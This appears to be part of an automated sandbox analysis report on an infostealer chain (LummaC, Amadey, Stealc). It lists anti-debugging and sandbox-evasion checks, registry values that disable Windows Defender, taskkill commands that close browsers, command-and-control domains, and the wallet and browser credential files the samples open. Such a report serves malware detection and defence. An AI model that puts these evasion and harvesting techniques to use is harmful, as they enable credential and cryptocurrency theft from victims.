Source: 9f543353fa.exe, 00000011.00000003.3183935323.0000000005749000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: 9f543353fa.exe, 00000011.00000003.3183935323.0000000005749000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: file.exe, 00000000.00000003.2217818575.0000000000ACE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2217076402.0000000000ACE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: 9f543353fa.exe, 00000011.00000003.3183935323.0000000005749000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: 9f543353fa.exe, 00000011.00000003.3183935323.0000000005749000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000003.2333692319.0000000005A2E000.00000004.00000800.00020000.00000000.sdmp, QQVU8579GXGT7ENXLIPV.exe, 00000005.00000002.2477819578.00000000005F1000.00000040.00000001.01000000.00000006.sdmp, QQVU8579GXGT7ENXLIPV.exe, 00000005.00000000.2334157806.00000000005F1000.00000080.00000001.01000000.00000006.sdmp, 1X626IF7XY5V3PR2WUE6.exe, 00000006.00000002.2456031240.00000000011F5000.00000040.00000001.01000000.00000009.sdmp, skotes.exe, 00000007.00000002.2471921093.0000000000F95000.00000040.00000001.01000000.0000000C.sdmp, 26972fc2ff.exe, 0000000C.00000002.2977244284.0000000000A69000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 9f543353fa.exe, 00000011.00000003.3183935323.0000000005749000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: 9f543353fa.exe, 00000011.00000003.3183935323.0000000005749000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\DPC5AH8Z21J6G318GX0VJU1F4VSM.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe

Code function: 6_2_056C0F35 Start: 056C0FC6 End: 056C0F51

6_2_056C0F35

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\DPC5AH8Z21J6G318GX0VJU1F4VSM.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\DPC5AH8Z21J6G318GX0VJU1F4VSM.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\DPC5AH8Z21J6G318GX0VJU1F4VSM.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe

Code function: 5_2_006210B8 rdtsc

5_2_006210B8

Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe

Code function: 5_2_0046B7C6 LdrInitializeThunk,

5_2_0046B7C6

Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 26972fc2ff.exe PID: 6696, type: MEMORYSTR

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.2135926668.0000000004800000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.2135926668.0000000004800000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.2135926668.0000000004800000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.2135926668.0000000004800000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.2135926668.0000000004800000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.2135926668.0000000004800000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.2135926668.0000000004800000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.2135926668.0000000004800000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe "C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe "C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe "C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003076001\num.exe "C:\Users\user\AppData\Local\Temp\1003076001\num.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: c56bb4c016.exe, 0000000E.00000000.3008279719.00000000005B2000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: 1X626IF7XY5V3PR2WUE6.exe, 1X626IF7XY5V3PR2WUE6.exe, 00000006.00000002.2456031240.00000000011F5000.00000040.00000001.01000000.00000009.sdmp, skotes.exe, skotes.exe, 00000007.00000002.2471921093.0000000000F95000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: Program Manager
Source: QQVU8579GXGT7ENXLIPV.exe, 00000005.00000002.2478380912.0000000000644000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: 'yYProgram Manager
Source: 26972fc2ff.exe, 0000000C.00000002.2977244284.0000000000A69000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: _Program Manager
Source: firefox.exe, 0000001D.00000002.3211345028.00000026AA73B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?ProgmanListenerWi

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003076001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003076001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, 00000000.00000003.2239639586.000000000541A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238502238.0000000000B4C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238482093.000000000540F000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2952857679.00000000007C1000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 7.2.skotes.exe.da0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.1X626IF7XY5V3PR2WUE6.exe.1000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.DPC5AH8Z21J6G318GX0VJU1F4VSM.exe.ab0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000003.2699831854.0000000005350000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2369161401.00000000054B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2455934041.0000000001001000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2430975273.0000000004840000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3169657410.0000000000AB1000.00000040.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.3127629977.0000000005280000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2471819219.0000000000DA1000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: 0000000E.00000003.3088360642.000000000161F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: c56bb4c016.exe PID: 1372, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 2976, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9f543353fa.exe PID: 5884, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9f543353fa.exe PID: 5916, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9f543353fa.exe PID: 4600, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 32.2.num.exe.b20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.0.num.exe.b20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.26972fc2ff.exe.5f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.26972fc2ff.exe.5f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000000.3089073268.0000000000B3E000.00000002.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3114526622.0000000000B3E000.00000002.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.3131855341.0000000005030000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3114429730.0000000000B21000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000000.3088950069.0000000000B21000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.3223716363.00000000005F1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2978129542.000000000121E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2936121608.0000000005050000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2976877638.00000000005F1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3127897267.00000000013CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.3234528142.000000000124B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 26972fc2ff.exe PID: 6696, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: %appdata%\Electrum\wallets
Source: file.exe	String found in binary or memory: Wallets/ElectronCash
Source: file.exe	String found in binary or memory: window-state.json
Source: file.exe	String found in binary or memory: Wallets/JAXX New Version
Source: 9f543353fa.exe, 0000000D.00000003.3087572028.0000000000716000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe	String found in binary or memory: Wallets/Exodus
Source: file.exe, 00000000.00000003.2217375295.0000000000B39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binancel
Source: file.exe	String found in binary or memory: %appdata%\Ethereum
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
